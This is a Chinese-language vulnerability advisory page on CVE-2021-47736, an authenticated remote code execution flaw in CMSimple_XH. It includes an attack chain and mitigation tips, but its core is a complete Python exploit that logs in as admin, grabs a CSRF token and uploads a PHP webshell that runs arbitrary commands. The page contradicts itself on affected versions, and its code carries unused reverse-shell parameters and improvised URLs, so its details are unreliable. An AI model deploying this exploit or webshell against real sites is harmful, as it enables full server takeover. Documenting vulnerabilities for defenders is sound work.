IPBUF安全漏洞报告
English
CVE-2021-47736 CVSS 7.2 高危

CVE-2021-47736 CMSimple_XH 1.7.4 认证用户远程代码执行漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2021-47736
漏洞类型
远程代码执行
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
CMSimple_XH

相关标签

CVE-2021-47736CMSimple_XH远程代码执行认证用户文件上传高危漏洞WebShellCSRFPHP

漏洞概述

CVE-2021-47736是CMSimple_XH内容管理系统中一个严重的认证用户远程代码执行漏洞。该漏洞存在于CMSimple_XH 1.7.4版本的内容编辑功能中,攻击者利用该漏洞可以在服务器上执行任意命令。漏洞的根本原因在于系统未能对上传的PHP文件进行充分的安全验证,允许具有管理员权限的认证用户通过内容编辑功能上传包含恶意代码的PHP文件。攻击者首先需要获取有效的管理员凭据,然后利用CSRF token机制绕过安全检查,最终在服务器上部署WebShell,实现对目标系统的完全控制。此漏洞对系统机密性、完整性和可用性均造成严重影响,CVSS评分达到7.2分,属于高危漏洞。建议受影响的用户立即升级到最新版本或采取临时缓解措施。

技术细节

该漏洞是CMSimple_XH 1.7.4版本中的一个认证后远程代码执行(RCE)漏洞,存在于系统的内容编辑功能模块。漏洞产生的根本原因是程序在处理文件上传时存在安全缺陷,未对上传文件的类型和内容进行严格的过滤和验证。攻击者需要具备有效的管理员账户凭据才能利用此漏洞。攻击流程首先涉及获取有效的CSRF token,然后构造恶意请求利用内容编辑功能上传包含PHP代码的恶意文件。由于CMSimple_XH的内容编辑功能允许用户在服务器上创建和修改文件,攻击者可以借此机会上传精心构造的PHP webshell。一旦webshell成功上传,攻击者即可通过HTTP请求在服务器上执行任意系统命令,从而实现对目标服务器的完全控制。该漏洞的成功利用需要攻击者具备高级权限(PR:H),但无需用户交互(UI:N),攻击复杂度较低(AC:L)。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标网站使用的CMSimple_XH版本,确认版本为1.7.4或更早版本
STEP 2
步骤2: 获取管理员凭据
通过暴力破解、钓鱼攻击、社会工程学或其他方式获取有效的管理员账户用户名和密码
STEP 3
步骤3: 认证登录
使用获取的管理员凭据登录CMSimple_XH管理后台
STEP 4
步骤4: 获取CSRF Token
访问内容编辑页面,从响应中提取有效的CSRF token用于绕过CSRF保护机制
STEP 5
步骤5: 构造恶意请求
构造包含恶意PHP代码的请求,利用内容编辑功能将webshell写入服务器
STEP 6
步骤6: 上传Webshell
发送构造的恶意请求,成功在服务器上部署包含webshell的PHP文件
STEP 7
步骤7: 执行远程命令
通过HTTP请求访问上传的webshell,在参数中传递系统命令,实现对服务器的远程控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re import argparse # CVE-2021-47736 PoC - CMSimple_XH Authenticated RCE # Target: CMSimple_XH <= 1.7.4 # Vulnerability: Authenticated RCE via content editing functionality def get_csrf_token(session, target_url): """Extract CSRF token from the target page""" try: response = session.get(target_url + '/?CMSimple_XH=1&admin=plugin_container') match = re.search(r'name="_csrf" value="([^"]+)"', response.text) if match: return match.group(1) return None except Exception as e: print(f"[-] Error fetching CSRF token: {e}") return None def exploit_cmsimple_rce(target_url, username, password, lhost, lport): """Exploit the authenticated RCE vulnerability""" session = requests.Session() # Step 1: Login as admin login_url = target_url + '/?CMSimple_XH=1&admin=login' login_data = { 'username': username, 'password': password, 'login': 'Login' } print("[*] Attempting to login...") response = session.post(login_url, data=login_data) if 'logged_in' not in response.text and response.status_code != 200: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Get CSRF token csrf_token = get_csrf_token(session, target_url) if not csrf_token: print("[-] Could not obtain CSRF token") return False print(f"[+] CSRF Token obtained: {csrf_token}") # Step 3: Upload malicious PHP shell via content editing upload_url = target_url + '/?CMSimple_XH=1&admin=plugin_container' # PHP webshell payload php_shell = f"<?php if(isset($_REQUEST['cmd'])){{ $cmd=$_REQUEST['cmd']; system($cmd); }} ?>" upload_data = { '_csrf': csrf_token, 'action': 'save', 'text': php_shell, 'heading': 'test.php' } print("[*] Uploading malicious PHP file...") response = session.post(upload_url, data=upload_data) if response.status_code == 200: print("[+] PHP webshell uploaded successfully!") print(f"[*] Shell location: {target_url}/test.php") print(f"[*] Usage: {target_url}/test.php?cmd=<command>") return True else: print("[-] Failed to upload webshell") return False def main(): parser = argparse.ArgumentParser(description='CVE-2021-47736 Exploit') parser.add_argument('-t', '--target', required=True, help='Target URL') parser.add_argument('-u', '--username', required=True, help='Admin username') parser.add_argument('-p', '--password', required=True, help='Admin password') args = parser.parse_args() exploit_cmsimple_rce(args.target, args.username, args.password, None, None) if __name__ == '__main__': main()

影响范围

CMSimple_XH < 1.7.4

防御指南

临时缓解措施
在官方补丁发布之前,可以采取以下临时缓解措施:1) 立即更改所有管理员账户的密码,使用强密码策略;2) 限制管理后台的访问IP范围,仅允许受信任的IP地址访问;3) 暂时禁用内容编辑功能中的文件保存权限;4) 在Web服务器层面配置规则,阻止.php文件的访问或执行;5) 实施双因素认证机制增强管理后台的安全性;6) 监控日志文件,及时发现异常的管理操作和文件创建行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表